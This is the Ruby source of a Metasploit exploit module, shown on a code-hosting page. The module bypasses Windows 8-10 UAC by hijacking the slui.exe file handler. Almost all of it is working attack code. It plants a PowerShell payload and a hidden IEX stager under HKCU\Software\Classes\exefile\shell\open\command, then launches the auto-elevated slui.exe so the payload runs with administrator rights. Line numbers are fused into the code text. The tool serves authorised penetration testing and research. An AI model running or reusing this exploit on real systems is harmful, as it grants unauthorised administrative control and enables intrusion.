Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/bypassuac_sluihijack.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Exploit::Powershell9include Post::Windows::Priv10include Post::Windows::Registry11include Post::Windows::Runas1213SLUI_DEL_KEY = 'HKCU\\Software\\Classes\\exefile'.freeze14SLUI_WRITE_KEY = 'HKCU\\Software\\Classes\\exefile\\shell\\open\\command'.freeze15EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze16EXEC_REG_VAL = ''.freeze # This maps to "(Default)"17EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze18SLUI_PATH = '%WINDIR%\\System32\\slui.exe'.freeze19CMD_MAX_LEN = 163832021def initialize(info = {})22super(23update_info(24info,25'Name' => 'Windows UAC Protection Bypass (Via Slui File Handler Hijack)',26'Description' => %q{27This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under28the Current User hive, and inserting a custom command that will get invoked when any binary29(.exe) application is launched. But slui.exe is an auto-elevated binary that is vulnerable30to file handler hijacking. When we run slui.exe with changed Registry key31(HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin32instead of slui.exe.3334The module modifies the registry in order for this exploit to work. The modification is35reverted once the exploitation attempt has finished.3637The module does not require the architecture of the payload to match the OS. If38specifying EXE::Custom your DLL should call ExitProcess() after starting the39payload in a different process.40},41'License' => MSF_LICENSE,42'Author' => [43'bytecode-77', # UAC bypass discovery and research44'gushmazuko', # MSF & PowerShell module45],46'Platform' => ['win'],47'SessionTypes' => ['meterpreter'],48'Targets' => [49['Windows x86', { 'Arch' => ARCH_X86 }],50['Windows x64', { 'Arch' => ARCH_X64 }]51],52'DefaultTarget' => 0,53'References' => [54['URL', 'https://github.com/bytecode-77/slui-file-handler-hijack-privilege-escalation'],55['URL', 'https://github.com/gushmazuko/WinBypass/blob/master/SluiHijackBypass.ps1']56],57'DisclosureDate' => '2018-01-15',58'Compat' => {59'Meterpreter' => {60'Commands' => %w[61stdapi_sys_process_execute62]63}64}65)66)67end6869def check70version = get_version_info71if version.build_number.between?(Msf::WindowsVersion::Win8, Msf::WindowsVersion::Win10_1909)72CheckCode::Appears73else74CheckCode::Safe75end76end7778def exploit79# Validate that we can actually do things before we bother80# doing any more work81check_permissions!8283commspec = 'powershell'84registry_view = REGISTRY_VIEW_NATIVE85psh_path = '%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe'8687# Make sure we have a sane payload configuration88if sysinfo['Architecture'] == ARCH_X6489if session.arch == ARCH_X8690# On x64, check arch91commspec = '%WINDIR%\\Sysnative\\cmd.exe /c powershell'92if target_arch.first == ARCH_X6493# We can't use absolute path here as94# %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session95psh_path = 'powershell.exe'96end97end98if target_arch.first == ARCH_X8699# Invoking x86, so switch to SysWOW64100psh_path = '%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe'101end102elsif target_arch.first == ARCH_X64103# if we're on x86, we can't handle x64 payloads104fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')105end106107if !payload.arch.empty? && (payload.arch.first != target_arch.first)108fail_with(Failure::BadConfig, 'payload and target should use the same architecture')109end110111case get_uac_level112when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,113UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,114UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT115fail_with(Failure::NotVulnerable,116"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")117when UAC_DEFAULT118print_good('UAC is set to Default')119print_good('BypassUAC can bypass this setting, continuing...')120when UAC_NO_PROMPT121print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')122shell_execute_exe123return124end125126payload_value = rand_text_alpha(8)127psh_path = expand_path(psh_path)128129template_path = Rex::Powershell::Templates::TEMPLATE_DIR130psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded)131132if psh_payload.length > CMD_MAX_LEN133fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})")134end135136psh_stager = "\"IEX (Get-ItemProperty -Path #{SLUI_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\""137cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}"138139existing = registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, registry_view) || ''140exist_delegate = !registry_getvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil?141142if existing.empty?143registry_createkey(SLUI_WRITE_KEY, registry_view)144end145146print_status('Configuring payload and stager registry keys ...')147unless exist_delegate148registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view)149end150151registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view)152registry_setvaldata(SLUI_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view)153154# Calling slui.exe through cmd.exe allow us to launch it from either x86 or x64 session arch.155cmd_path = expand_path(commspec)156cmd_args = expand_path("Start-Process #{SLUI_PATH} -Verb runas")157print_status("Executing payload: #{cmd_path} #{cmd_args}")158159# We can't use cmd_exec here because it blocks, waiting for a result.160client.sys.process.execute(cmd_path, cmd_args, 'Hidden' => true)161162# Wait a copule of seconds to give the payload a chance to fire before cleaning up163# TODO: fix this up to use something smarter than a timeout?164sleep(3)165166handler(client)167168print_status('Cleaning up ...')169unless exist_delegate170registry_deleteval(SLUI_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view)171end172if existing.empty?173registry_deletekey(SLUI_DEL_KEY, registry_view)174else175registry_setvaldata(SLUI_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view)176end177registry_deleteval(SLUI_WRITE_KEY, payload_value, registry_view)178end179180def check_permissions!181unless check == Exploit::CheckCode::Appears182fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')183end184fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?185# Check if you are an admin186# is_in_admin_group can be nil, true, or false187print_status('UAC is Enabled, checking level...')188vprint_status('Checking admin status...')189admin_group = is_in_admin_group?190if admin_group.nil?191print_error('Either whoami is not there or failed to execute')192print_error('Continuing under assumption you already checked...')193elsif admin_group194print_good('Part of Administrators group! Continuing...')195else196fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')197end198199if get_integrity_level == INTEGRITY_LEVEL_SID[:low]200fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')201end202end203end204205206